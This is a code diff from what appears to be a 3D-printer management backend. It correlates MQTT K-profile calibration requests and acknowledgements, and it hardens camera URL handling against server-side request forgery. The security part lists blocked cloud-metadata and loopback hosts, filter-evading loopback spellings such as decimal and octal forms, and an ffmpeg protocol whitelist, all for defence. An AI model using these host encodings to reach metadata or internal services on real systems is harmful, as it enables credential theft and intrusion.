-            profiles = []
-            for f in filaments:
-                if isinstance(f, dict):
-                    try:
-                        cali_idx = f.get("cali_idx", 0)
-                        profiles.append(
-                            KProfile(
-                                slot_id=cali_idx,
-                                extruder_id=int(f.get("extruder_id", 0)),
-                                nozzle_id=str(f.get("nozzle_id", "")),
-                                nozzle_diameter=str(f.get("nozzle_diameter", "0.4")),
-                                filament_id=str(f.get("filament_id", "")),
-                                name=str(f.get("name", "")),
-                                k_value=str(f.get("k_value", "0.000000")),
-                                n_coef=str(f.get("n_coef", "0.000000")),
-                                ams_id=int(f.get("ams_id", 0)),
-                                tray_id=int(f.get("tray_id", -1)),
-                                setting_id=f.get("setting_id"),
-                            )
-                        )
-                    except (ValueError, TypeError):
-                        pass  # Skip malformed K-profile entries; remaining profiles still usable
-            self.state.kprofiles = profiles
-            return
+        profiles = self._parse_kprofile_entries(filaments, response_nozzle, log_errors=request is not None)
+        self.state.kprofiles = profiles
 
 
-        profiles = []
+        if request is None:
+            # Unsolicited broadcast with nothing in flight: state is refreshed,
+            # nobody to wake.
+            return
 
 
-        for i, f in enumerate(filaments):
-            if isinstance(f, dict):
-                try:
-                    # cali_idx is the actual slot/calibration index from the printer
-                    cali_idx = f.get("cali_idx", i)
-                    profiles.append(
-                        KProfile(
-                            slot_id=cali_idx,
-                            extruder_id=int(f.get("extruder_id", 0)),
-                            nozzle_id=str(f.get("nozzle_id", "")),
-                            nozzle_diameter=str(f.get("nozzle_diameter", "0.4")),
-                            filament_id=str(f.get("filament_id", "")),
-                            name=str(f.get("name", "")),
-                            k_value=str(f.get("k_value", "0.000000")),
-                            n_coef=str(f.get("n_coef", "0.000000")),
-                            ams_id=int(f.get("ams_id", 0)),
-                            tray_id=int(f.get("tray_id", -1)),
-                            setting_id=f.get("setting_id"),
-                        )
-                    )
-                except (ValueError, TypeError) as e:
-                    logger.warning("Failed to parse K-profile: %s", e)
+        logger.info("[%s] Got %s K-profiles for nozzle=%s", self.serial_number, len(profiles), response_nozzle)
+        request["profiles"] = profiles
 
 
-        self.state.kprofiles = profiles
-        self._kprofile_response_data = profiles
-
-        # Signal that we received the response (only if we were waiting for one)
-        # Use thread-safe method since MQTT callbacks run in a different thread
-        # Capture in local var to avoid TOCTOU race: asyncio thread can clear
-        # self._pending_kprofile_response between the check and the .set() call
-        event = self._pending_kprofile_response
-        if event:
-            logger.info("[%s] Got %s K-profiles for nozzle=%s", self.serial_number, len(profiles), response_nozzle)
-            if self._loop and self._loop.is_running():
-                self._loop.call_soon_threadsafe(event.set)
-            else:
-                # Fallback for when loop is not available
-                event.set()
+        # Signal the waiter. Use the thread-safe path since MQTT callbacks run
+        # in a different thread than the event loop.
+        event = request["event"]
+        if self._loop and self._loop.is_running():
+            self._loop.call_soon_threadsafe(event.set)
+        else:
+            # Fallback for when loop is not available
+            event.set()
 
 
     async def get_kprofiles(
     async def get_kprofiles(
         self, nozzle_diameter: str = "0.4", timeout: float = 5.0, max_retries: int = 3
         self, nozzle_diameter: str = "0.4", timeout: float = 5.0, max_retries: int = 3
@@ -5534,11 +5728,13 @@ class BambuMQTTClient:
             return []
             return []
 
 
         for attempt in range(max_retries):
         for attempt in range(max_retries):
-            # Set up response event for this attempt
+            # Register this attempt under its own sequence_id so a concurrent
+            # request for a different nozzle size can't consume its response
+            # (#1748) — the pending map is keyed by exactly the id we send.
             self._sequence_id += 1
             self._sequence_id += 1
-            self._pending_kprofile_response = asyncio.Event()
-            self._kprofile_response_data = None
-            self._expected_kprofile_nozzle = nozzle_diameter  # Track which nozzle response we expect
+            seq_id = str(self._sequence_id)
+            request: dict = {"nozzle": nozzle_diameter, "event": asyncio.Event(), "profiles": None}
+            self._pending_kprofile_requests[seq_id] = request
 
 
             # Send the command with nozzle_diameter filter
             # Send the command with nozzle_diameter filter
             command = {
             command = {
@@ -5546,20 +5742,20 @@ class BambuMQTTClient:
                     "command": "extrusion_cali_get",
                     "command": "extrusion_cali_get",
                     "filament_id": "",
                     "filament_id": "",
                     "nozzle_diameter": nozzle_diameter,
                     "nozzle_diameter": nozzle_diameter,
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                 }
                 }
             }
             }
 
 
             logger.info(
             logger.info(
-                f"[{self.serial_number}] Requesting K-profiles for nozzle_diameter={nozzle_diameter} (attempt {attempt + 1}/{max_retries})"
+                f"[{self.serial_number}] Requesting K-profiles for nozzle_diameter={nozzle_diameter} (attempt {attempt + 1}/{max_retries}, seq_id={seq_id})"
             )
             )
             logger.debug("[%s] K-profile request JSON: %s", self.serial_number, json.dumps(command))
             logger.debug("[%s] K-profile request JSON: %s", self.serial_number, json.dumps(command))
-            self._client.publish(self.topic_publish, json.dumps(command), qos=1)
 
 
-            # Wait for response (response handler already filters by nozzle_diameter)
+            # Wait for the response (the handler matches it back to this entry)
             try:
             try:
-                await asyncio.wait_for(self._pending_kprofile_response.wait(), timeout=timeout)
-                profiles = self._kprofile_response_data or []
+                self._client.publish(self.topic_publish, json.dumps(command), qos=1)
+                await asyncio.wait_for(request["event"].wait(), timeout=timeout)
+                profiles = request["profiles"] or []
                 logger.info(
                 logger.info(
                     f"[{self.serial_number}] Got {len(profiles)} K-profiles for nozzle={nozzle_diameter} on attempt {attempt + 1}"
                     f"[{self.serial_number}] Got {len(profiles)} K-profiles for nozzle={nozzle_diameter} on attempt {attempt + 1}"
                 )
                 )
@@ -5572,12 +5768,56 @@ class BambuMQTTClient:
                     # Brief delay before retry
                     # Brief delay before retry
                     await asyncio.sleep(0.5)
                     await asyncio.sleep(0.5)
             finally:
             finally:
-                self._pending_kprofile_response = None
-                self._expected_kprofile_nozzle = None
+                self._pending_kprofile_requests.pop(seq_id, None)
 
 
         logger.error("[%s] Failed to get K-profiles after %s attempts", self.serial_number, max_retries)
         logger.error("[%s] Failed to get K-profiles after %s attempts", self.serial_number, max_retries)
         return []
         return []
 
 
+    def _publish_cali_write(self, command: dict, seq_id: str) -> bool:
+        """Publish a K-profile write and arm its ack slot.
+
+        Registration happens before the publish because the printer answers in
+        well under a second — measured at 70-150ms — which is comfortably
+        before an async caller gets back to awaiting.
+        """
+        self._pending_cali_acks[seq_id] = None
+        try:
+            self._client.publish(self.topic_publish, json.dumps(command), qos=1)
+        except Exception:
+            self._pending_cali_acks.pop(seq_id, None)
+            raise
+        return True
+
+    async def await_cali_ack(self, seq_id: str, timeout: float = 6.0) -> tuple[bool, str]:
+        """Wait for the printer's verdict on a K-profile write.
+
+        Returns ``(ok, detail)``. ``ok`` is False only when the printer
+        explicitly said ``result: "fail"`` — a timeout returns True with a
+        detail string, because "no answer" is not evidence of rejection and
+        older firmware may not answer at all. Callers that need certainty read
+        the calibration table back.
+
+        Polled rather than event-driven on purpose: the ack is filled in by the
+        MQTT callback thread, and polling a dict costs one lookup every 50ms
+        for at most a few hundred milliseconds, against the cross-thread
+        event plumbing it would otherwise take.
+        """
+        deadline = time.monotonic() + timeout
+        try:
+            while time.monotonic() < deadline:
+                ack = self._pending_cali_acks.get(seq_id)
+                if ack is not None:
+                    result = str(ack.get("result", "")).lower()
+                    reason = str(ack.get("reason", "") or "")
+                    if result == "fail":
+                        return (False, reason or "printer reported failure")
+                    return (True, reason)
+                await asyncio.sleep(0.05)
+        finally:
+            self._pending_cali_acks.pop(seq_id, None)
+        logger.warning("[%s] No ack for K-profile write seq=%s within %.1fs", self.serial_number, seq_id, timeout)
+        return (True, "no acknowledgement from printer")
+
     def set_kprofile(
     def set_kprofile(
         self,
         self,
         filament_id: str,
         filament_id: str,
@@ -5589,7 +5829,7 @@ class BambuMQTTClient:
         setting_id: str | None = None,
         setting_id: str | None = None,
         slot_id: int = 0,
         slot_id: int = 0,
         cali_idx: int | None = None,
         cali_idx: int | None = None,
-    ) -> bool:
+    ) -> str | None:
         """Set/update a K-profile on the printer.
         """Set/update a K-profile on the printer.
 
 
         Args:
         Args:
@@ -5604,13 +5844,16 @@ class BambuMQTTClient:
             cali_idx: For edits, the existing slot being edited (enables in-place edit)
             cali_idx: For edits, the existing slot being edited (enables in-place edit)
 
 
         Returns:
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under, so the caller can
+            await the printer's verdict via await_cali_ack. None if the
+            command could not be sent.
         """
         """
         if not self._client or not self.state.connected:
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot set K-profile: not connected", self.serial_number)
             logger.warning("[%s] Cannot set K-profile: not connected", self.serial_number)
-            return False
+            return None
 
 
         self._sequence_id += 1
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
 
         # Build the filament entry - printer uses cali_idx for profile identification
         # Build the filament entry - printer uses cali_idx for profile identification
         # For new profiles (slot_id=0), use cali_idx=-1 to tell printer to create new slot
         # For new profiles (slot_id=0), use cali_idx=-1 to tell printer to create new slot
@@ -5638,7 +5881,13 @@ class BambuMQTTClient:
             "nozzle_diameter": nozzle_diameter,
             "nozzle_diameter": nozzle_diameter,
             "nozzle_id": nozzle_id,
             "nozzle_id": nozzle_id,
             "setting_id": setting_id if setting_id else "",
             "setting_id": setting_id if setting_id else "",
-            "tray_id": -1,
+            # 0, not -1. Single-nozzle firmware validates this field and
+            # answers `result: "fail", reason: "invalid tray_id"` to -1 — while
+            # applying the write anyway, so the rejection looked like noise.
+            # Measured on an X1C: flipping only this value turns the ack into
+            # `success` (#2718). BambuStudio always sends a real tray_id and
+            # defaults it to 0 for a manually entered profile.
+            "tray_id": 0,
         }
         }
 
 
         command = {
         command = {
@@ -5646,7 +5895,7 @@ class BambuMQTTClient:
                 "command": "extrusion_cali_set",
                 "command": "extrusion_cali_set",
                 "filaments": [filament_entry],
                 "filaments": [filament_entry],
                 "nozzle_diameter": nozzle_diameter,
                 "nozzle_diameter": nozzle_diameter,
-                "sequence_id": str(self._sequence_id),
+                "sequence_id": seq_id,
             }
             }
         }
         }
 
 
@@ -5655,14 +5904,14 @@ class BambuMQTTClient:
             f"[{self.serial_number}] Setting K-profile: {name} = {k_value} (cali_idx={effective_cali_idx}, new={slot_id == 0})"
             f"[{self.serial_number}] Setting K-profile: {name} = {k_value} (cali_idx={effective_cali_idx}, new={slot_id == 0})"
         )
         )
         logger.debug("[%s] K-profile SET command: %s", self.serial_number, command_json)
         logger.debug("[%s] K-profile SET command: %s", self.serial_number, command_json)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
 
     def set_kprofiles_batch(
     def set_kprofiles_batch(
         self,
         self,
         profiles: list[dict],
         profiles: list[dict],
         nozzle_diameter: str = "0.4",
         nozzle_diameter: str = "0.4",
-    ) -> bool:
+    ) -> str | None:
         """Set multiple K-profiles in a single command (for dual-nozzle).
         """Set multiple K-profiles in a single command (for dual-nozzle).
 
 
         Args:
         Args:
@@ -5671,15 +5920,17 @@ class BambuMQTTClient:
             nozzle_diameter: Common nozzle diameter for all profiles
             nozzle_diameter: Common nozzle diameter for all profiles
 
 
         Returns:
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under (see set_kprofile),
+            or None if it could not be sent.
         """
         """
         if not self._client or not self.state.connected:
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot set K-profiles batch: not connected", self.serial_number)
             logger.warning("[%s] Cannot set K-profiles batch: not connected", self.serial_number)
-            return False
+            return None
 
 
         import random
         import random
 
 
         self._sequence_id += 1
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
 
         filament_entries = []
         filament_entries = []
         for p in profiles:
         for p in profiles:
@@ -5707,7 +5958,9 @@ class BambuMQTTClient:
                     "nozzle_diameter": nozzle_diameter,
                     "nozzle_diameter": nozzle_diameter,
                     "nozzle_id": p.get("nozzle_id", f"HS00-{nozzle_diameter}"),
                     "nozzle_id": p.get("nozzle_id", f"HS00-{nozzle_diameter}"),
                     "setting_id": setting_id if setting_id else "",
                     "setting_id": setting_id if setting_id else "",
-                    "tray_id": -1,
+                    # See set_kprofile: -1 is rejected as "invalid tray_id" by
+                    # single-nozzle firmware even though the write lands (#2718).
+                    "tray_id": 0,
                 }
                 }
             )
             )
 
 
@@ -5716,15 +5969,15 @@ class BambuMQTTClient:
                 "command": "extrusion_cali_set",
                 "command": "extrusion_cali_set",
                 "filaments": filament_entries,
                 "filaments": filament_entries,
                 "nozzle_diameter": nozzle_diameter,
                 "nozzle_diameter": nozzle_diameter,
-                "sequence_id": str(self._sequence_id),
+                "sequence_id": seq_id,
             }
             }
         }
         }
 
 
         command_json = json.dumps(command)
         command_json = json.dumps(command)
         logger.info("[%s] Setting %s K-profiles in batch", self.serial_number, len(filament_entries))
         logger.info("[%s] Setting %s K-profiles in batch", self.serial_number, len(filament_entries))
         logger.debug("[%s] K-profile SET batch command: %s", self.serial_number, command_json)
         logger.debug("[%s] K-profile SET batch command: %s", self.serial_number, command_json)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
 
     def delete_kprofile(
     def delete_kprofile(
         self,
         self,
@@ -5734,7 +5987,7 @@ class BambuMQTTClient:
         nozzle_diameter: str = "0.4",
         nozzle_diameter: str = "0.4",
         extruder_id: int = 0,
         extruder_id: int = 0,
         setting_id: str | None = None,
         setting_id: str | None = None,
-    ) -> bool:
+    ) -> str | None:
         """Delete a K-profile from the printer.
         """Delete a K-profile from the printer.
 
 
         Args:
         Args:
@@ -5746,13 +5999,15 @@ class BambuMQTTClient:
             setting_id: Unique setting identifier (for X1C series)
             setting_id: Unique setting identifier (for X1C series)
 
 
         Returns:
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under (see set_kprofile),
+            or None if it could not be sent.
         """
         """
         if not self._client or not self.state.connected:
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot delete K-profile: not connected", self.serial_number)
             logger.warning("[%s] Cannot delete K-profile: not connected", self.serial_number)
-            return False
+            return None
 
 
         self._sequence_id += 1
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
 
         # Dual-nozzle K-profile delete uses the extruder_id/nozzle_id format;
         # Dual-nozzle K-profile delete uses the extruder_id/nozzle_id format;
         # single-nozzle printers (X1C/P1/A1/P2S/H2S) need the setting_id form.
         # single-nozzle printers (X1C/P1/A1/P2S/H2S) need the setting_id form.
@@ -5768,7 +6023,7 @@ class BambuMQTTClient:
             command = {
             command = {
                 "print": {
                 "print": {
                     "command": "extrusion_cali_del",
                     "command": "extrusion_cali_del",
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                     "extruder_id": extruder_id,
                     "extruder_id": extruder_id,
                     "nozzle_id": nozzle_id,
                     "nozzle_id": nozzle_id,
                     "filament_id": filament_id,
                     "filament_id": filament_id,
@@ -5782,7 +6037,7 @@ class BambuMQTTClient:
             command = {
             command = {
                 "print": {
                 "print": {
                     "command": "extrusion_cali_del",
                     "command": "extrusion_cali_del",
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                     "filament_id": filament_id,
                     "filament_id": filament_id,
                     "cali_idx": cali_idx,
                     "cali_idx": cali_idx,
                     "setting_id": setting_id if setting_id else "",
                     "setting_id": setting_id if setting_id else "",
@@ -5797,9 +6052,9 @@ class BambuMQTTClient:
             f"[{self.serial_number}] Deleting K-profile: cali_idx={cali_idx}, filament={filament_id}, setting_id={setting_id}, dual={is_dual_nozzle}"
             f"[{self.serial_number}] Deleting K-profile: cali_idx={cali_idx}, filament={filament_id}, setting_id={setting_id}, dual={is_dual_nozzle}"
         )
         )
         logger.debug("[%s] K-profile DELETE command: %s", self.serial_number, command_json)
         logger.debug("[%s] K-profile DELETE command: %s", self.serial_number, command_json)
-        # Use QoS 1 for reliable delivery (at least once)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        # QoS 1 for reliable delivery (at least once)
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
 
     # =========================================================================
     # =========================================================================
     # Printer Control Commands
     # Printer Control Commands
@@ -6642,6 +6897,11 @@ class BambuMQTTClient:
             logger.warning("[%s] Cannot set K value: not connected", self.serial_number)
             logger.warning("[%s] Cannot set K value: not connected", self.serial_number)
             return False
             return False
 
 
+        # Was reusing the previous command's id — harmless while nothing
+        # correlated on it, but the printer echoes sequence_id back and the
+        # K-profile write path now matches acks by it (#2718).
+        self._sequence_id += 1
+
         nozzle_id = f"HS00-{nozzle_diameter}"
         nozzle_id = f"HS00-{nozzle_diameter}"
 
 
         # A2L AMS-Lite: a normalised global tray (24-27) must go out as the
         # A2L AMS-Lite: a normalised global tray (24-27) must go out as the

+ 158 - 51
backend/app/services/external_camera.py

@@ -9,9 +9,11 @@ to ensure they are well-formed before use.
 
 
 import asyncio
 import asyncio
 import functools
 import functools
+import ipaddress
 import logging
 import logging
 import re
 import re
 import shutil
 import shutil
+import socket
 from collections.abc import AsyncGenerator, Callable
 from collections.abc import AsyncGenerator, Callable
 from pathlib import Path
 from pathlib import Path
 from urllib.parse import urlparse
 from urllib.parse import urlparse
@@ -22,13 +24,77 @@ from backend.app.core.logging_filters import redact_url_credentials
 
 
 logger = logging.getLogger(__name__)
 logger = logging.getLogger(__name__)
 
 
+# Protocols ffmpeg may use for an RTSP input. RTSP negotiates its media
+# transport at runtime, so the transports have to be here alongside rtsp itself;
+# tls and crypto cover encrypted variants. Everything ffmpeg would otherwise
+# accept behind an -i — file, http, tcp to anywhere, concat — is left out, so a
+# stream that references something outside itself cannot pull it in.
+_RTSP_PROTOCOL_WHITELIST = "rtsp,rtp,udp,tcp,tls,crypto"
+
+
+def _blocked_host_reason(hostname: str) -> str | None:
+    """Describe why *hostname* is a destination we refuse to fetch, or None to allow it.
+
+    Camera URLs are user-supplied and reach the network — over aiohttp for the
+    HTTP types, and as an ``ffmpeg -i`` argument for RTSP — so this is where the
+    SSRF boundary sits. LAN addresses are deliberately allowed: cameras live on
+    the same network as Bambuddy, and blocking RFC-1918 would remove the feature
+    rather than protect it. What is left to refuse is the host talking to
+    itself, the unspecified address, link-local (which is where the cloud
+    metadata endpoint lives), and the metadata hostnames.
+
+    IP literals are classified with ``ipaddress`` rather than compared against a
+    list of spellings, because 127.0.0.1, 127.0.0.2, 2130706433, 0177.0.0.1,
+    127.1 and ::ffff:127.0.0.1 all arrive at loopback and a list of strings only
+    ever catches whichever one someone thought to write down. ``inet_aton``
+    comes first because it accepts the legacy octal, decimal and short forms
+    that ``ip_address`` rejects — the C resolvers behind aiohttp and ffmpeg
+    accept them, so refusing to understand them here would only mean not seeing
+    where the request is actually going.
+    """
+    host = hostname.lower()
+
+    ip: ipaddress.IPv4Address | ipaddress.IPv6Address | None = None
+    try:
+        ip = ipaddress.ip_address(socket.inet_aton(host))
+    except OSError:
+        try:
+            ip = ipaddress.ip_address(host)
+        except ValueError:
+            ip = None
+
+    if ip is None:
+        # A name, not an address. It is not resolved here on purpose: aiohttp
+        # and ffmpeg each resolve independently afterwards, so a check here
+        # decides nothing about where they end up (DNS rebinding), while a
+        # lookup on every capture would break LAN cameras behind slow or
+        # intermittent local DNS.
+        if host == "localhost" or host.endswith(".localhost"):
+            return "localhost"
+        if host in ("metadata.google.internal", "metadata.google"):
+            return "a cloud metadata service"
+        return None
+
+    # ::ffff:127.0.0.1 is loopback wearing an IPv6 spelling.
+    mapped = getattr(ip, "ipv4_mapped", None)
+    if mapped is not None:
+        ip = mapped
+
+    if ip.is_loopback:
+        return "loopback"
+    if ip.is_unspecified:
+        return "the unspecified address"
+    if ip.is_link_local:
+        return "a link-local address (the cloud metadata range)"
+    return None
+
 
 
 def _sanitize_camera_url(url: str, allowed_schemes: tuple[str, ...] = ("http", "https", "rtsp")) -> str | None:
 def _sanitize_camera_url(url: str, allowed_schemes: tuple[str, ...] = ("http", "https", "rtsp")) -> str | None:
     """Validate and sanitize camera URL, returning a safe reconstructed URL.
     """Validate and sanitize camera URL, returning a safe reconstructed URL.
 
 
-    This validates that the URL is well-formed, uses an allowed scheme,
-    does not target cloud metadata services, and returns a reconstructed
-    URL from validated components.
+    This validates that the URL is well-formed, uses an allowed scheme, does not
+    target the host itself or a cloud metadata service, and returns a URL
+    reconstructed from the validated components.
 
 
     Note: This intentionally allows user-provided URLs as that is the
     Note: This intentionally allows user-provided URLs as that is the
     purpose of external camera configuration. Local network IPs are
     purpose of external camera configuration. Local network IPs are
@@ -51,37 +117,35 @@ def _sanitize_camera_url(url: str, allowed_schemes: tuple[str, ...] = ("http", "
         if scheme not in allowed_schemes:
         if scheme not in allowed_schemes:
             return None
             return None
 
 
-        # Block cloud metadata service endpoints (SSRF mitigation)
-        # These are dangerous destinations that should never be accessed
         hostname = parsed.hostname or ""
         hostname = parsed.hostname or ""
-        hostname_lower = hostname.lower()
-        blocked_hosts = (
-            "169.254.169.254",  # AWS/GCP/Azure metadata
-            "metadata.google.internal",  # GCP metadata
-            "metadata.google",
-            "localhost",  # Block localhost to prevent internal service access
-            "127.0.0.1",
-            "::1",
-            "0.0.0.0",  # nosec B104
-        )
-        if hostname_lower in blocked_hosts:
-            logger.warning("Blocked camera URL targeting restricted host: %s", hostname)
+        if not hostname:
             return None
             return None
-
-        # Block link-local addresses (169.254.x.x)
-        if hostname.startswith("169.254."):
-            logger.warning("Blocked camera URL targeting link-local address: %s", hostname)
+        blocked = _blocked_host_reason(hostname)
+        if blocked:
+            logger.warning("Blocked camera URL targeting %s: %s", blocked, hostname)
             return None
             return None
 
 
         # Reconstruct URL from validated components to break taint chain
         # Reconstruct URL from validated components to break taint chain
         # This creates a new string from validated parts
         # This creates a new string from validated parts
+        #
+        # The credentials are carried across verbatim from netloc rather than
+        # via parsed.username/.password, which urlparse has already percent-
+        # decoded: re-emitting those would corrupt any password containing an
+        # @ or a :. They have to survive at all because most RTSP cameras — and
+        # a fair number of MJPEG ones — carry their login in the URL, and
+        # dropping it turns every one of them into an authentication failure.
+        netloc = parsed.netloc
+        userinfo = f"{netloc.rsplit('@', 1)[0]}@" if "@" in netloc else ""
+        # parsed.hostname has already stripped the brackets off an IPv6 literal;
+        # without them back the result is not a URL any client can parse.
+        host_str = f"[{hostname}]" if ":" in hostname else hostname
         port_str = f":{parsed.port}" if parsed.port else ""
         port_str = f":{parsed.port}" if parsed.port else ""
         path = parsed.path or ""
         path = parsed.path or ""
         query = f"?{parsed.query}" if parsed.query else ""
         query = f"?{parsed.query}" if parsed.query else ""
         fragment = f"#{parsed.fragment}" if parsed.fragment else ""
         fragment = f"#{parsed.fragment}" if parsed.fragment else ""
 
 
         # Build sanitized URL from validated components
         # Build sanitized URL from validated components
-        sanitized = f"{scheme}://{hostname}{port_str}{path}{query}{fragment}"
+        sanitized = f"{scheme}://{userinfo}{host_str}{port_str}{path}{query}{fragment}"
         return sanitized
         return sanitized
     except ValueError:
     except ValueError:
         return None
         return None
@@ -380,18 +444,18 @@ async def _capture_frame_uncoalesced(
         return None
         return None
 
 
 
 
-async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
-    """Capture frame from USB camera using ffmpeg."""
-    ffmpeg = get_ffmpeg_path()
-    if not ffmpeg:
-        logger.error("ffmpeg not found - required for USB camera capture")
-        return None
+def _safe_usb_device_path(device: str) -> str | None:
+    """Rebuild a /dev/videoN path from a validated device number, or None.
 
 
-    # Validate device path - must be /dev/videoN format where N is 0-99
-    # This prevents path traversal by using a strict allowlist approach
-    import re as regex_module
+    Validate device path - must be /dev/videoN format where N is 0-99. This
+    prevents path traversal by using a strict allowlist approach: the returned
+    path is built from an integer, which cannot carry a traversal, rather than
+    from any part of the caller's string.
 
 
-    device_match = regex_module.match(r"^/dev/video(\d{1,2})$", device)
+    Returns None if the device does not exist, so a caller cannot hand ffmpeg a
+    path to something that is not a device node.
+    """
+    device_match = re.match(r"^/dev/video(\d{1,2})$", device)
     if not device_match:
     if not device_match:
         logger.error("Invalid USB device path format: %s", device)
         logger.error("Invalid USB device path format: %s", device)
         return None
         return None
@@ -399,9 +463,6 @@ async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
     # Convert to integer to break taint chain - integers cannot contain path traversal
     # Convert to integer to break taint chain - integers cannot contain path traversal
     # lgtm[py/path-injection] - device_num is validated integer 0-99
     # lgtm[py/path-injection] - device_num is validated integer 0-99
     device_num = int(device_match.group(1))  # Safe: regex guarantees 1-2 digits
     device_num = int(device_match.group(1))  # Safe: regex guarantees 1-2 digits
-    if device_num > 99:
-        logger.error("USB device number out of range: %s", device_num)
-        return None
 
 
     # Construct safe path from validated integer (completely untainted)
     # Construct safe path from validated integer (completely untainted)
     safe_device_path = Path(f"/dev/video{device_num}")  # lgtm[py/path-injection]
     safe_device_path = Path(f"/dev/video{device_num}")  # lgtm[py/path-injection]
@@ -410,8 +471,22 @@ async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
         logger.error("USB device does not exist: %s", safe_device_path)
         logger.error("USB device does not exist: %s", safe_device_path)
         return None
         return None
 
 
+    return str(safe_device_path)  # lgtm[py/path-injection]
+
+
+async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
+    """Capture frame from USB camera using ffmpeg."""
+    ffmpeg = get_ffmpeg_path()
+    if not ffmpeg:
+        logger.error("ffmpeg not found - required for USB camera capture")
+        return None
+
+    safe_device = _safe_usb_device_path(device)
+    if not safe_device:
+        return None
+
     # Use the safe path for ffmpeg - this is a hardcoded /dev/videoN path
     # Use the safe path for ffmpeg - this is a hardcoded /dev/videoN path
-    device = str(safe_device_path)  # lgtm[py/path-injection]
+    device = safe_device  # lgtm[py/path-injection]
 
 
     # Use ffmpeg to grab a single frame from USB camera
     # Use ffmpeg to grab a single frame from USB camera
     cmd = [
     cmd = [
@@ -542,22 +617,34 @@ async def _capture_rtsp_frame(url: str, timeout: int) -> bytes | None:
     """Capture frame from RTSP using ffmpeg.
     """Capture frame from RTSP using ffmpeg.
 
 
     For rtsps:// URLs, a local TLS proxy is used to avoid GnuTLS issues.
     For rtsps:// URLs, a local TLS proxy is used to avoid GnuTLS issues.
+
+    Note: this function intentionally connects to user-configured URLs, the same
+    as the MJPEG and snapshot paths. The URL is sanitized and dangerous
+    destinations are blocked before it reaches ffmpeg.
     """
     """
     ffmpeg = get_ffmpeg_path()
     ffmpeg = get_ffmpeg_path()
     if not ffmpeg:
     if not ffmpeg:
         logger.error("ffmpeg not found - required for RTSP capture")
         logger.error("ffmpeg not found - required for RTSP capture")
         return None
         return None
 
 
+    # ffmpeg's -i accepts every protocol it was built with, so an unchecked URL
+    # here is a request to any host and scheme the caller names, not merely to a
+    # camera. Restricting the scheme to RTSP is what keeps this a camera fetch.
+    safe_url = _sanitize_camera_url(url, ("rtsp", "rtsps"))
+    if not safe_url:
+        logger.error("Invalid RTSP URL: %s...", redact_url_credentials(url)[:50])
+        return None
+
     # If rtsps://, use TLS proxy
     # If rtsps://, use TLS proxy
     proxy_server = None
     proxy_server = None
-    effective_url = url
-    if url.lower().startswith("rtsps://"):
+    effective_url = safe_url
+    if safe_url.lower().startswith("rtsps://"):
         try:
         try:
             from urllib.parse import urlparse
             from urllib.parse import urlparse
 
 
             from backend.app.services.camera import create_tls_proxy
             from backend.app.services.camera import create_tls_proxy
 
 
-            parsed = urlparse(url)
+            parsed = urlparse(safe_url)
             target_port = parsed.port or 322
             target_port = parsed.port or 322
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             userinfo = ""
             userinfo = ""
@@ -566,17 +653,24 @@ async def _capture_rtsp_frame(url: str, timeout: int) -> bytes | None:
                 if parsed.password:
                 if parsed.password:
                     userinfo += f":{parsed.password}"
                     userinfo += f":{parsed.password}"
                 userinfo += "@"
                 userinfo += "@"
+            # Points at loopback deliberately, and is built after the check
+            # above rather than re-checked: the destination that mattered was
+            # the one the caller named, and it has already been vetted.
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             if parsed.query:
             if parsed.query:
                 effective_url += f"?{parsed.query}"
                 effective_url += f"?{parsed.query}"
         except Exception as e:
         except Exception as e:
             logger.warning("Failed to create TLS proxy for RTSP capture, falling back: %s", e)
             logger.warning("Failed to create TLS proxy for RTSP capture, falling back: %s", e)
-            effective_url = url
+            effective_url = safe_url
 
 
     cmd = [
     cmd = [
         ffmpeg,
         ffmpeg,
         "-rtsp_transport",
         "-rtsp_transport",
         "tcp",
         "tcp",
+        # Belt and braces on the scheme check above: a demuxer that follows a
+        # reference out of the stream cannot leave these protocols either.
+        "-protocol_whitelist",
+        _RTSP_PROTOCOL_WHITELIST,
         "-i",
         "-i",
         effective_url,
         effective_url,
         "-frames:v",
         "-frames:v",
@@ -956,6 +1050,11 @@ async def _stream_rtsp(
     For rtsps:// URLs, a local TLS proxy (Python OpenSSL) is used instead
     For rtsps:// URLs, a local TLS proxy (Python OpenSSL) is used instead
     of relying on ffmpeg's GnuTLS backend, which has compatibility issues
     of relying on ffmpeg's GnuTLS backend, which has compatibility issues
     with some printer firmwares.
     with some printer firmwares.
+
+    Note: this function intentionally connects to user-configured URLs. The URL
+    is sanitized and dangerous destinations are blocked before it reaches
+    ffmpeg — see ``_capture_rtsp_frame``, which guards the one-shot path the
+    same way.
     """
     """
     ffmpeg = get_ffmpeg_path()
     ffmpeg = get_ffmpeg_path()
     if not ffmpeg:
     if not ffmpeg:
@@ -964,16 +1063,21 @@ async def _stream_rtsp(
 
 
     from backend.app.services.camera import rtsp_socket_timeout_flag
     from backend.app.services.camera import rtsp_socket_timeout_flag
 
 
+    safe_url = _sanitize_camera_url(url, ("rtsp", "rtsps"))
+    if not safe_url:
+        logger.error("Invalid RTSP stream URL: %s...", redact_url_credentials(url)[:50])
+        return
+
